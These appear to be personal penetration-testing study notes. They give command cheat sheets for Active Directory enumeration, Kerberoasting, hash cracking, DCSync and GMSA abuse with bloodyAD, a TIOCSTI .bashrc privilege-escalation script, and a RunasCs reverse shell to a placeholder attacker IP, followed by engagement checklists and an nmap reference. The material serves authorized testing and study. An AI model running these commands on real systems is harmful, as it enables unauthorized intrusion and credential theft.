# Home Welcome to my personal notes about pentesting tools that I use These notes are in need to be re-organized using indexes and general categories. However, at the moment they are a bit chaotic due to the fact that I'm writing these while doing the academy courses This project is maintained through Gitbook # Commands Only Summary 🪟 = Windows, 🐧 = Linux ## 🐧 Find ### Find all SUID binaries ```bash find / -perm -u=s -type f 2>/dev/null ``` ### All readable files ```bash find / -type f -readable ! -path "/proc/*" ! -path "/dev/*" ! -path "/run/*" ! -path "/sys/*" 2>/dev/null ``` ### All files from user ```bash find / -user 'USERNAME' ! -path "/proc/*" ! -path "/dev/*" ! -path "/run/*" ! -path "/sys/*" 2>/dev/null ``` *** ## Active Directory ### 🪟 SharpView (C# Port of PowerView) > AD Enumeration tool. C# port of [#powerview-now-deprecated](#powerview-now-deprecated "mention"). Same commands #### Get help about a command ```powershell .\SharpView.exe Get-DomainUser -Help ``` #### Enumerate information about a specific user ```powershell .\SharpView.exe Get-DomainUser -Identity ``` *** ### 🪟 PowerView (Now deprecated) > AD Enumeration Tools #### Import ```powershell Import-Module ./PowerView ``` #### Information for specific User or All users ```powershell Get-DomainUser -Identity -Domain | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol ``` #### Group specific info ```powershell Get-DomainGroupMember -Identity "Domain Admins" -Recurse ```
Explaination `-Recurse` switch tells PowerView that if it finds any groups that are part of the target group (nested group membership) to list out the members of those groups.
#### Enumerate domain trust mappings ```powershell Get-DomainTrustMapping ``` #### Test for local admin access on either the current machine or a remote one ```powershell Test-AdminAccess -ComputerName ACADEMY-EA-MS01 ``` #### Check Kerberoasting attack possibility ```powershell Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName ``` *** ### 🪟 BloodHound #### Collect data ```batch .\SharpHound.exe -c All --zipfilename ```
Explaination SharpHound.exe collector, needs to be ran from a domain joined PC. `-c`: (Default: Default) Collection Methods: Container, Group, LocalGroup, GPOLocalGroup, Session, LoggedOn, ObjectProps, ACL, ComputerOnly, Trusts, Default, RDP, DCOM, DCOnly `--zipfilename`: Filename for the zip
*** ### 🪟 \[Built-in] ActiveDirectory PowerShell Module > AD Enumeration tools #### **Discover Modules** ```powershell Get-Module ``` #### **Load ActiveDirectory Module** ```powershell Import-Module ActiveDirectory ``` #### **Get Domain Info** ```powershell Get-ADDomain ```
Explaination This will print out helpful information like the domain SID, domain functional level, any child domains, and more
#### List accounts that may be susceptible to a Kerberoasting attack ```powershell Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ``` #### Verify domain trust relationships ```powershell Get-ADTrust -Filter * ```
Explaination This cmdlet will print out any trust relationships the domain has. We can determine if they are trusts within our forest or with domains in other forests, the type of trust, the direction of the trust, and the name of the domain the relationship is with.
#### **Group Enumeration** ```powershell Get-ADGroup -Filter * | select name ``` #### Group Information ```powershell Get-ADGroup -Identity "Backup Operators" ``` #### **Group Membership Listing** ```powershell Get-ADGroupMember -Identity "Backup Operators" ``` #### If part of GMSA\_MANAGERS Group, Set yourself as someone who can read the password ```powershell Set-ADServiceAccount -Identity "target$" -PrincipalsAllowedToRetrieveManagedPassword "yourUser" ``` *** ### 🪟 Snaffler > [Snaffler](https://github.com/SnaffCon/Snaffler) is a tool that can help us acquire credentials or other sensitive data in an Active Directory environment. Snaffler works by obtaining a list of hosts within the domain and then enumerating those hosts for shares and readable directories. Once that is done, it iterates through any directories readable by our user and hunts for files that could serve to better our position within the assessment. Snaffler requires that it be run from a domain-joined host or in a domain-user context. ```powershell Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data ```
Explaination `-s` tells it to print results to the console. `-d` specifies the domain to search within. `-o` tells Snaffler to write results to a logfile. `-v` option is the verbosity level.
*** ### 🐧 CrackMapExec (deprecated) | NetExec (updated) > A swiss army knife for pentesting networks #### Help for specific protocol ```bash crackmapexec smb -h ``` #### **Domain User Enumeration** ```bash sudo crackmapexec smb -u -p --users ```
Explaination `-u Username` The user whose credentials we will use to authenticate `-p Password` User's password `Target (IP or FQDN)` Target host to enumerate (in our case, the Domain Controller) `--users` Specifies to enumerate Domain Users `--groups` Specifies to enumerate domain groups `--loggedon-users` Attempts to enumerate what users are logged on to a target, if any
#### **Domain Group Enumeration** ```bash sudo crackmapexec smb -u -p --groups ``` #### **Logged On Users** ```bash sudo crackmapexec smb -u -p --loggedon-users ``` #### **Share Searching** ```bash sudo crackmapexec smb -u -p --shares ``` #### Dig Through Share ```bash sudo crackmapexec smb -u -p -M spider_plus --share '' ``` {% hint style="info" %} When completed, CME writes the results to a JSON file located at `/tmp/cme_spider_plus/` {% endhint %} #### Password Policy ```bash sudo crackmapexec smb --pass-pol -u -p ``` {% hint style="info" %} Use empty username and password for null authentication {% endhint %} #### Group Policy Password misconfiguration (GPP, usually to check if read access to SYSVOL) ```bash sudo crackmapexec smb IP -u username -p password -M gpp_autologin ``` #### Enumerate users from RID (for when the --users command doesnt work) ```bash sudo crackmapexec smb IP -u 'user' -p 'pass' --rid-brute | grep 'SidTypeUser' ``` #### Get GMSA passwords ```bash sudo netexec ldap IP -u 'user' -p 'password' --gmsa ``` #### Get Group membership users ```bash sudo netexec smb DCIP -u 'USER' -p 'PASSWORD' --groups "GROUP" ``` #### Find certificate server (ADCS) ```bash sudo netexec ldap DCIP -u 'USER' -p 'PASSWORD' -M adcs ``` #### List Kerberoastable users ```bash sudo netexec ldap DCIP -u USER -p PASS --kerberoasting output.txt ``` AS\_REP version with `--asreproast` flag *** ### 🐧 SMBMap > SMBMap is great for enumerating SMB shares from a Linux attack host. It can be used to gather a listing of shares, permissions, and share contents if accessible. #### **SMBMap To Check Access** ```bash smbmap -u -p -d -H ``` #### **Recursive List Of All Directories** ```bash smbmap -u -p -d -H -R 'Department Shares' --dir-only ``` *** ### 🐧 rpcclient > Useful for enumeration with NULL sessions #### Connect to anonymous session ```bash rpcclient -U '' IP ``` #### Enumerate all users to gather the RIDs ```shell-session rpcclient $> enumdomusers ``` #### **User Enumeration By RID** ```shell-session rpcclient $> queryuser 0x457 ``` *** ### 🐧 Impacket Toolkit > Impacket is a versatile toolkit that provides us with many different ways to enumerate, interact, and exploit Windows protocols and find the information we need using Python. #### Shell on target device (PSExec) ```bash psexec.py :''@ ``` #### Stealthier Shell on target device (**wmiexec.py**) A more stealthy approach to execution on hosts than other tools, but would still likely be caught by most modern anti-virus and EDR systems. ```bash wmiexec.py :''@ > [Windapsearch](https://github.com/ropnop/windapsearch) is another handy Python script we can use to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries. #### Enumerate Domain Admins ```bash python3 windapsearch.py --dc-ip -u @ -p --da ``` #### Enumerate Priviledged Users ```bash python3 windapsearch.py --dc-ip -u @ -p -PU ``` *** ### 🐧 Bloodhound.py > Collect data for BloodHound GUI from a Linux host ```bash sudo bloodhound-python -u '' -p '' -ns -d -c all --zip ``` #### NTLM Hash instead of password (the NTLM hash needs to be preceded by the `:`). Use `-c all` or `-c dconly` ```bash bloodhound-python -d DOMAIN -u 'USER' --hashes ':NTLM_HASH' -dc DC_FQDM -ns DCIP --zip -c all ``` *** ### 🐧 ldapsearch * `-h ` * `-x` simple authentication (anonymous) * `-s` scope (`-s base namingcontexts`). Output of this goes in the `-b` flag content * `-b` base (`-b "DC=htb,DC=local"`) (Basically the searching scope) #### Get naming context (domain name) ```bash ldapsearch -h IP -x -s base namingcontexts ``` #### Get anonymous info ```bash ldapsearch -h IP -x -b "DC=TEST,DC=LOCAL" ``` #### Query for users (Object class of Person) ```bash ldapsearch -h IP -x -b "DC=TEST,DC=LOCAL" '(objectClass=Person)' ``` Usually the class can be person, organizationalPerson or user #### Query for users and only show username ```bash ldapsearch -h IP -x -b "DC=TEST,DC=LOCAL" '(objectClass=Person)' sAMAccountName ``` (you can add more things at the end, such as `sAMAccountName userPrincipalName`) {% hint style="info" %} $ at the end of a user account is a machine account {% endhint %} *** ### 🐧 Evil-winrm #### Connect with kerberos ```bash impacket-getTGT DOMAIN/'USER':'PASSWORD' -dc-ip DCIP export KRB5CCNAME=USER.ccache ``` ```bash evil-winrm -i TARGETIP -r DOMAIN -k USER.ccache ``` *** *** ### 🐧 🪟 Hashcat ```bash hashcat -m 5600 ``` #### secretsdump output ```bash cat dc_hash.txt | awk -F: '{print($1":"$4)}' ``` ```bash hashcat -m 1000 --user file wordlist ``` #### Find Hashcat mode ```bash hashcat --example-hashes | grep -B 2 ``` #### Generate password list from rules ```bash hashcat --force --stdout pwlist.txt -r /usr/share/hashcat/rules/best64.rule -r /usr/share/hashcat/rules/toggles.rule | sort -u ``` #### Limit length of passwords ```bash awk 'length($0) > 7' ```
Rules #### Cracking ``` /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule ``` #### Password list gen ``` /usr/share/hashcat/rules/best64.rule ``` ``` /usr/share/hashcat/rules/toggles.rule ```
#### Hashes in user:hash format to save user info Put the hashes in a file in the `user:hash` format, for example for NTLM hashes then use the flag `--user` for automatically make hashcat discard that first column and use the rest as the hash. This allows to use `--show` to then recover the user of the cracked password from the potfile. *** ### 🐧 BloodyAD > Swiss army knife for AD privilege escalation {% embed url="" %} As other tools, to use NTLM hashes on this put them in the -p password field PRECEDED by a : #### Set yourself as owner ```bash bloodyAD --host "DCIP" -d "DOMAIN" -u "YOURACCOUNT" -p ":HASH" set owner GROUP YourAccount ``` #### Get Writable ```bash bloodyAD --host DCIP -d DOMAIN -u USER -p 'PASSWORD' get writable --detail ``` #### Add user to group (GenericAll over group) ```bash bloodyAD --host DCIP -d DOMAIN -u USER -p 'PASSWORD' add groupMember "GROUP" USER ``` #### Add DCSync rights to user ```bash bloodyAD --host DCIP -d DOMAIN -u USER -p 'PASSWORD' add dcsync "TARGETUSER" ``` #### Read GMSA password > ReadGMSAPassword privilege abuse Following command uses `-k` for Kerberos (needs `export KRB5CCNAME=` to be set) ```bash bloodyAD --host DC.FQDN.LOCAL -d "DOMAIN.LOCAL" --dc-ip DCIP -k get object 'TARGET' --attr msDS-ManagedPassword ``` #### Disable Pre Authentication > this makes the accounts vulnerable to asreproasting, requires GenericAll or other ways to control account ```bash bloodyAD --host DC.FQDN.LOCAL -d "DOMAIN.LOCAL" --dc-ip DCIP -k add uac TARGET -f DONT_REQ_PREAUTH ``` #### Enable account This is handy when an account is disabled but you control it through GenericAll or other write permissions ```bash bloodyAD --host DC.FQDN.LOCAL -d "DOMAIN.LOCAL" --dc-ip DCIP -k remove uac TARGET -f ACCOUNTDISABLE ``` *** ## 🐧 ntpdate > Useful to adjust the system clock to one of another machine. Solves problem like kerberos Clock skew too great ```bash sudo apt install ntpdate ``` ```bash sudo ntpdate ``` Disable NTP first: ```bash sudo timedatectl set-ntp off ``` Also if in a VM, check that no option to sync the time is set on your VM software. For example on VirtualBox on a Windows Host: 
cd "C:\Program Files\Oracle\VirtualBox"
.\VBoxManage.exe setextradata "Kali" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1
*** ## 🐧 Sanitize/Stabilize Reverse Shell Option number 1: Use [pwncat](https://github.com/Chocapikk/pwncat-vl) Option number 2-ish: Use `rlwrap` (this doesnt FULLY stabilize it but it works decently for quick stuff) Option 3: ```bash SHELL=/bin/bash script -q /dev/null ``` `ctrl + z` to background netcat ``` stty raw -echo && fg ``` *** ## 🐧 Process monitoring without permissions {% embed url="" %} *** ## 🐧 pwning \`su\` command usage In the case you notice that an automated script or user will `su` into a user you have access to, it's possible to pwn it using `.bashrc` or any other shell script automatically read. More explaination at Write the following python script in the user home, for example `/home/user/esc.py` ```python #!/usr/bin/env python3 import fcntl import termios import os import sys import signal os.kill(os.getppid(), signal.SIGSTOP) for char in 'chmod u+s /bin/bash\n': fcntl.ioctl(0, termios.TIOCSTI, char) ``` Then run ```bash echo "python3 /home/user/esc.py" >> /home/user/.bashrc ``` The above command assumed it's a root user doing a `su` into a lowpriv user. You can then run the bash as root using ```bash bash -p ``` *** ## 🪟 Mounting smb share (auth) from command line ```batch net use K: \\IP\share /user:username password ``` list with ```batch net use ``` *** ### 🪟 Refreshing Privileges after privesc without closing and reopening > Useful in occasions when restarting the connection is more annoying than downloading a binary on the machine. Example is when assigning your own user to the administrators group ```powershell .\RunasCs.exe USER PASSWORD powershell -r ATTACKERIP:PORT ``` # Kali installation packages ```bash ## Not using it anymore ## sudo apt install pyenv ## python -m venv ~/.myvenv ## echo "# ====== My Aliases =======" >> ~/.zshrc ## echo "alias myvenv='. ~/.myvenv/bin/activate'" >> ~/.zshrc ## echo "# ====== End Aliases =======" >> ~/.zshrc ## . ~/.zshrc ## myvenv ``` ```bash pipx install git+https://github.com/Chocapikk/pwncat-vl sudo apt install python3-pwntools ## still useful to have pyenv sudo apt install pyenv ``` Install [Wappalyzer](https://www.wappalyzer.com/) on the browser # Some other cool websites {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} OWASP Cheat sheet series downloaded 2025/06/02 {% file src="/files/ysNPV8DHGIY2ap0Iwa37" %} # Preparation ## Precautionary Measures during Penetration Tests * Obtain written consent from the owner or authorized representative of the computer or network being tested * Conduct the testing within the scope of the consent obtained only and respect any limitations specified * Take measures to prevent causing damage to the systems or networks being tested * Do not access, use or disclose personal data or any other information obtained during the testing without permission * Do not intercept electronic communications without the consent of one of the parties to the communication * Do not conduct testing on systems or networks that are covered by the Health Insurance Portability and Accountability Act (HIPAA) without proper authorization ## Pentesting Stages
### **Pre-Engagement** `Pre-engagement` is educating the client and adjusting the contract. All necessary tests and their components are strictly defined and contractually recorded. In a face-to-face meeting or conference call, many arrangements are made, such as: * `Non-Disclosure Agreement` * `Goals` * `Scope` * `Time Estimation` * `Rules of Engagement` ### **Information Gathering** `Information gathering` describes how we obtain information about the necessary components in various ways. We search for information about the target company and the software and hardware in use to find potential security gaps that we may be able to leverage for a foothold. ### **Vulnerability Assessment** Once we get to the `Vulnerability Assessment` stage, we analyze the results from our `Information Gathering` stage, looking for known vulnerabilities in the systems, applications, and various versions of each to discover possible attack vectors. Vulnerability assessment is the evaluation of potential vulnerabilities, both manually and through automated means. This is used to determine the threat level and the susceptibility of a company's network infrastructure to cyber-attacks. ### **Exploitation** In the `Exploitation` stage, we use the results to test our attacks against the potential vectors and execute them against the target systems to gain initial access to those systems. ### **Post-Exploitation** At this stage of the penetration test, we already have access to the exploited machine and ensure that we still have access to it even if modifications and changes are made. During this phase, we may try to escalate our privileges to obtain the highest possible rights and hunt for sensitive data such as credentials or other data that the client is concerned with protecting (pillaging). Sometimes we perform post-exploitation to demonstrate to a client the impact of our access. Other times we perform post-exploitation as an input to the lateral movement process described next. ### **Lateral Movement** Lateral movement describes movement within the internal network of our target company to access additional hosts at the same or a higher privilege level. It is often an iterative process combined with post-exploitation activities until we reach our goal. For example, we gain a foothold on a web server, escalate privileges and find a password in the registry. We perform further enumeration and see that this password works to access a database server as a local admin user. From here, we can pillage sensitive data from the database and find other credentials to further our access deeper into the network. In this stage, we will typically use many techniques based on the information found on the exploited host or server. ### **Proof-of-Concept** In this stage, we document, step-by-step, the steps we took to achieve network compromise or some level of access. Our goal is to paint a picture of how we were able to chain together multiple weaknesses to reach our goal so they can see a clear picture of how each vulnerability fits in and help prioritize their remediation efforts. If we don't document our steps well, it's hard for the client to understand what we were able to do and, thus, makes their remediation efforts more difficult. If feasible, we could create one or more scripts to automate the steps we took to assist our client in reproducing our findings. We cover this in-depth in the `Documentation & Reporting` module. ### **Post-Engagement** During post-engagement, detailed documentation is prepared for both administrators and client company management to understand the severity of the vulnerabilities found. At this stage, we also clean up all traces of our actions on all hosts and servers. During this stage, we create the deliverables for our client, hold a report walkthrough meeting, and sometimes deliver an executive presentation to target company executives or their board of directors. Lastly, we will archive our testing data per our contractual obligations and company policy. We will typically retain this data for a set period or until we perform a post-remediation assessment (retest) to test the client's fixes. *** ## Pre-engagement The entire pre-engagement process consists of three essential components: 1. Scoping questionnaire 2. Pre-engagement meeting 3. Kick-off meeting | Document | Timing for Creation | | -------------------------------------------------------------------- | --------------------------------------------------- | | `1. Non-Disclosure Agreement` (`NDA`) | `After` Initial Contact | | `2. Scoping Questionnaire` | `Before` the Pre-Engagement Meeting | | `3. Scoping Document` | `During` the Pre-Engagement Meeting | | `4. Penetration Testing Proposal` (`Contract/Scope of Work` (`SoW`)) | `During` the Pre-engagement Meeting | | `5. Rules of Engagement` (`RoE`) | `Before` the Kick-Off Meeting | | `6. Contractors Agreement` (Physical Assessments) | `Before` the Kick-Off Meeting | | `7. Reports` | `During` and `after` the conducted Penetration Test | ### Scoping Questionnaire | ☐ Internal Vulnerability Assessment | ☐ External Vulnerability Assessment | | ----------------------------------- | ------------------------------------- | | ☐ Internal Penetration Test | ☐ External Penetration Test | | ☐ Wireless Security Assessment | ☐ Application Security Assessment | | ☐ Physical Security Assessment | ☐ Social Engineering Assessment | | ☐ Red Team Assessment | ☐ Web Application Security Assessment | Under each of these, the questionnaire should allow the client to be more specific about the required assessment. Do they need a web application or mobile application assessment? Secure code review? Should the Internal Penetration Test be black box and semi-evasive? Do they want just a phishing assessment as part of the Social Engineering Assessment or also vishing calls? Aside from the assessment type, client name, address, and key personnel contact information, some other critical pieces of information include: | How many expected live hosts? | | ------------------------------------------------------------------------------------------------------------------------------------------------- | | How many IPs/CIDR ranges in scope? | | How many Domains/Subdomains are in scope? | | How many wireless SSIDs in scope? | | How many web/mobile applications? If testing is authenticated, how many roles (standard user, admin, etc.)? | | For a phishing assessment, how many users will be targeted? Will the client provide a list, or we will be required to gather this list via OSINT? | | If the client is requesting a Physical Assessment, how many locations? If multiple sites are in-scope, are they geographically dispersed? | | What is the objective of the Red Team Assessment? Are any activities (such as phishing or physical security attacks) out of scope? | | Is a separate Active Directory Security Assessment desired? | | Will network testing be conducted from an anonymous user on the network or a standard domain user? | | Do we need to bypass Network Access Control (NAC)? | Finally, we will want to ask about information disclosure and evasiveness (if applicable to the assessment type): * Is the Penetration Test black box (no information provided), grey box (only IP address/CIDR ranges/URLs provided), white box (detailed information provided) * Would they like us to test from a non-evasive, hybrid-evasive (start quiet and gradually become "louder" to assess at what level the client's security personnel detect our activities), or fully evasive. # Documents | **Document** | **Timing for Creation** | | -------------------------------------------------------------------- | ----------------------------------- | | `1. Non-Disclosure Agreement` (`NDA`) | `After` Initial Contact | | `2. Scoping Questionnaire` | `Before` the Pre-Engagement Meeting | | `3. Scoping Document` | `During` the Pre-Engagement Meeting | | `4. Penetration Testing Proposal` (`Contract/Scope of Work` (`SoW`)) | `During` the Pre-engagement Meeting | | `5. Rules of Engagement` (`RoE`) | `Before` the Kick-Off Meeting | | `6. Contractors Agreement` (Physical Assessments) | `Before` the Kick-Off Meeting | | `7. Reports` | | # Contract - Checklist | **Checkpoint** | **Description** | | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `☐ NDA` | Non-Disclosure Agreement (NDA) refers to a secrecy contract between the client and the contractor regarding all written or verbal information concerning an order/project. The contractor agrees to treat all confidential information brought to its attention as strictly confidential, even after the order/project is completed. Furthermore, any exceptions to confidentiality, the transferability of rights and obligations, and contractual penalties shall be stipulated in the agreement. The NDA should be signed before the kick-off meeting or at the latest during the meeting before any information is discussed in detail. | | `☐ Goals` | Goals are milestones that must be achieved during the order/project. In this process, goal setting is started with the significant goals and continued with fine-grained and small ones. | | `☐ Scope` | The individual components to be tested are discussed and defined. These may include domains, IP ranges, individual hosts, specific accounts, security systems, etc. Our customers may expect us to find out one or the other point by ourselves. However, the legal basis for testing the individual components has the highest priority here. | | `☐ Penetration Testing Type` | When choosing the type of penetration test, we present the individual options and explain the advantages and disadvantages. Since we already know the goals and scope of our customers, we can and should also make a recommendation on what we advise and justify our recommendation accordingly. Which type is used in the end is the client's decision. | | `☐ Methodologies` | Examples: OSSTMM, OWASP, automated and manual unauthenticated analysis of the internal and external network components, vulnerability assessments of network components and web applications, vulnerability threat vectorization, verification and exploitation, and exploit development to facilitate evasion techniques. | | `☐ Penetration Testing Locations` | External: Remote (via secure VPN) and/or Internal: Internal or Remote (via secure VPN) | | `☐ Time Estimation` | For the time estimation, we need the start and the end date for the penetration test. This gives us a precise time window to perform the test and helps us plan our procedure. It is also vital to explicitly ask how time windows the individual attacks (Exploitation / Post-Exploitation / Lateral Movement) are to be carried out. These can be carried out during or outside regular working hours. When testing outside regular working hours, the focus is more on the security solutions and systems that should withstand our attacks. | | `☐ Third Parties` | For the third parties, it must be determined via which third-party providers our customer obtains services. These can be cloud providers, ISPs, and other hosting providers. Our client must obtain written consent from these providers describing that they agree and are aware that certain parts of their service will be subject to a simulated hacking attack. It is also highly advisable to require the contractor to forward the third-party permission sent to us so that we have actual confirmation that this permission has indeed been obtained. | | `☐ Evasive Testing` | Evasive testing is the test of evading and passing security traffic and security systems in the customer's infrastructure. We look for techniques that allow us to find out information about the internal components and attack them. It depends on whether our contractor wants us to use such techniques or not. | | `☐ Risks` | We must also inform our client about the risks involved in the tests and the possible consequences. Based on the risks and their potential severity, we can then set the limitations together and take certain precautions. | | `☐ Scope Limitations & Restrictions` | It is also essential to determine which servers, workstations, or other network components are essential for the client's proper functioning and its customers. We will have to avoid these and must not influence them any further, as this could lead to critical technical errors that could also affect our client's customers in production. | | `☐ Information Handling` | HIPAA, PCI, HITRUST, FISMA/NIST, etc. | | `☐ Contact Information` | For the contact information, we need to create a list of each person's name, title, job title, e-mail address, phone number, office phone number, and an escalation priority order. | | `☐ Lines of Communication` | It should also be documented which communication channels are used to exchange information between the customer and us. This may involve e-mail correspondence, telephone calls, or personal meetings. | | `☐ Reporting` | Apart from the report's structure, any customer-specific requirements the report should contain are also discussed. In addition, we clarify how the reporting is to take place and whether a presentation of the results is desired. | | `☐ Payment Terms` | Finally, prices and the terms of payment are explained. | # Rules of Engagement - Checklist | **Checkpoint** | **Contents** | | ------------------------------------------- | ----------------------------------------------------------------------------------------------------- | | `☐ Introduction` | Description of this document. | | `☐ Contractor` | Company name, contractor full name, job title. | | `☐ Penetration Testers` | Company name, pentesters full name. | | `☐ Contact Information` | Mailing addresses, e-mail addresses, and phone numbers of all client parties and penetration testers. | | `☐ Purpose` | Description of the purpose for the conducted penetration test. | | `☐ Goals` | Description of the goals that should be achieved with the penetration test. | | `☐ Scope` | All IPs, domain names, URLs, or CIDR ranges. | | `☐ Lines of Communication` | Online conferences or phone calls or face-to-face meetings, or via e-mail. | | `☐ Time Estimation` | Start and end dates. | | `☐ Time of the Day to Test` | Times of the day to test. | | `☐ Penetration Testing Type` | External/Internal Penetration Test/Vulnerability Assessments/Social Engineering. | | `☐ Penetration Testing Locations` | Description of how the connection to the client network is established. | | `☐ Methodologies` | OSSTMM, PTES, OWASP, and others. | | `☐ Objectives / Flags` | Users, specific files, specific information, and others. | | `☐ Evidence Handling` | Encryption, secure protocols | | `☐ System Backups` | Configuration files, databases, and others. | | `☐ Information Handling` | Strong data encryption | | `☐ Incident Handling and Reporting` | Cases for contact, pentest interruptions, type of reports | | `☐ Status Meetings` | Frequency of meetings, dates, times, included parties | | `☐ Reporting` | Type, target readers, focus | | `☐ Retesting` | Start and end dates | | `☐ Disclaimers and Limitation of Liability` | System damage, data loss | | `☐ Permission to Test` | Signed contract, contractors agreement | # Contractors Agreement - Checklist for Physical Assessments If the penetration test also includes physical testing, then an additional contractor's agreement is required. | **Checkpoint** | | --------------------------------- | | `☐ Introduction` | | `☐ Contractor` | | `☐ Purpose` | | `☐ Goal` | | `☐ Penetration Testers` | | `☐ Contact Information` | | `☐ Physical Addresses` | | `☐ Building Name` | | `☐ Floors` | | `☐ Physical Room Identifications` | | `☐ Physical Components` | | `☐ Timeline` | | `☐ Notarization` | | `☐ Permission to Test` | # Information Gathering ## OSINT * [GitHub forks aren't "private"](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) * # Vulnerability Assessment Disclosed Vulnerabilities descriptions * [CVEdetails](https://www.cvedetails.com/) * [Exploit DB](https://www.exploit-db.com) * [Vulners](https://vulners.com) * [Packet Storm Security](https://packetstormsecurity.com) * [NIST](https://nvd.nist.gov/vuln/search?execution=e2s1) # Pentesting Machine ### Operating System I either use Kali Linux or ParrotOS. Usually cloning the seclists in the home directory and installing any tool I feel needed. ### Tools The following list is a list of must-have tools I add on top of the already available ones in the distros. This list will be expanded with time * exploitdb * **Oracle-Tools-setup.sh** * [Impacket MSSQL client and tools](https://github.com/fortra/impacket/tree/master?tab=readme-ov-file#setup) * [Nuclei](https://github.com/projectdiscovery/nuclei) * crowbar * sqsh ### Folder structure ```shell-session Projects/ └── Acme Company ├── EPT │ ├── evidence │ │ ├── credentials │ │ ├── data │ │ └── screenshots │ ├── logs │ ├── scans │ ├── scope │ └── tools └── IPT ├── evidence │ ├── credentials │ ├── data │ └── screenshots ├── logs ├── scans ├── scope └── tools ``` EPT and IPT stand for External/Internal Penetration Testing ### Note taking app There are multiple available. I will note here which one I'll stick to using after I have a definitive answer Possibilities include | [Cherrytree](https://www.giuspen.com/cherrytree) | [Visual Studio Code](https://code.visualstudio.com) | [Evernote](https://evernote.com) | | ---------------------------------------------------- | --------------------------------------------------- | ------------------------------------------- | | [Notion](https://www.notion.so) | [GitBook](https://www.gitbook.com) | [Sublime Text](https://www.sublimetext.com) | | [Notepad++](https://notepad-plus-plus.org/downloads) | [LogSeq](https://logseq.com/) | | ## Oracle-Tools-setup.sh ```bash #!/bin/bash sudo apt-get install libaio1 python3-dev alien -y git clone https://github.com/quentinhardy/odat.git cd odat/ git submodule init git submodule update wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH export PATH=$LD_LIBRARY_PATH:$PATH pip3 install cx_Oracle sudo apt-get install python3-scapy -y sudo pip3 install colorlog termcolor passlib python-libnmap sudo apt-get install build-essential libgmp-dev -y pip3 install pycryptodome ``` Test with `./odat.py -h` # Enumeration Enumeration phase tools. Fuzzing, Discovery, ... ## Wordlists * [Seclists](https://github.com/danielmiessler/SecLists) * Subdomain enumeration: /Discovery/DNS (subdomain\*) * Pages, Extensions, Directory, Parameters: /Discovery/Web-Content (directory-list\*.txt, web-extensions.txt, burp-parameter-names.txt) * LFI wordlist: /Fuzzing/LFI * [Crunch](https://secf00tprint.github.io/blog/passwords/crunch/advanced/en) Word list generator ## Port mapping ### Nmap
FlagDescription
-sCRun scripts
-sVVersion scan
-p <ports>Specify ports. Can be a list, can contain ranges
-p-Scan all 65535 ports
--script=<script name>
-sC		Run a specific script from usr/share/nmap/scripts
-AEnable OS detection, version detection, script scanning, and traceroute (Loud)
--openShow only open ports
-oA <name_of_files>Save in all output formats with prefix of name_of_files
-snDisables port scanning
-iL <file>Scans a list of hosts from a file
--reasonDisplays the reason for specific result.
--packet-traceShows all packets sent and received
-FFast Scan. Top 100 ports
--top-ports=10Scans the specified top ports that have been defined as most frequent.
-nDisable DNS resolution
--disable-arp-pingDisables ARP ping.
--stats-every=5sShows status every 5 seconds
-v or -vvVerbositiy level, increasing
-APerforms service detection, OS detection, traceroute and uses defaults scripts to scan the target.
--min-rate <number>Speed optimization parameter
-T <0-5>Aggressiveness
--source-port 53Performs the scans from specified source port.
--script-updatedbUpdate scripts DB
Some useful nmap scripts (`/usr/share/nmap/scripts/`): * [smb-os-discovery.nse](https://nmap.org/nsedoc/scripts/smb-os-discovery.html) (usually on `-p 445`) * http-enum (example on port `-p 80`) Some nmap usages examples: * `-p 21 --packet-trace -Pn -n --disable-arp-ping` to scan port 21 and get a detailed information for the packet as the answer #### Scan types
FlagDescription
-PEPerforms the ping scan by using 'ICMP Echo requests' against the target.
Usually in combination with --disable-arp-ping to disable ARP Scanning
-sS(Default as Root) SYN Scan
-sT(Default as non-Root) TCP Scan
-sUPerforms a UDP scan.
-sVPerforms a service scan.
-sATCP ACK scan (hard to filter)
-PnDisable the ICMP echo requests (avoid checking if host is alive)
#### Types of ports states
StateDescription
openThis indicates that the connection to the scanned port has been established. These connections can be TCP connections, UDP datagrams as well as SCTP associations.
closedWhen the port is shown as closed, the TCP protocol indicates that the packet we received back contains an RST flag. This scanning method can also be used to determine if our target is alive or not.
filteredNmap cannot correctly identify whether the scanned port is open or closed because either no response is returned from the target for the port or we get an error code from the target.
unfilteredThis state of a port only occurs during the TCP-ACK scan and means that the port is accessible, but it cannot be determined whether it is open or closed.
open|filteredIf we do not get a response for a specific port, Nmap will set it to that state. This indicates that a firewall or packet filter may protect the port.
closed|filteredThis state only occurs in the IP ID idle scans and indicates that it was impossible to determine if the scanned port is closed or filtered by a firewall.
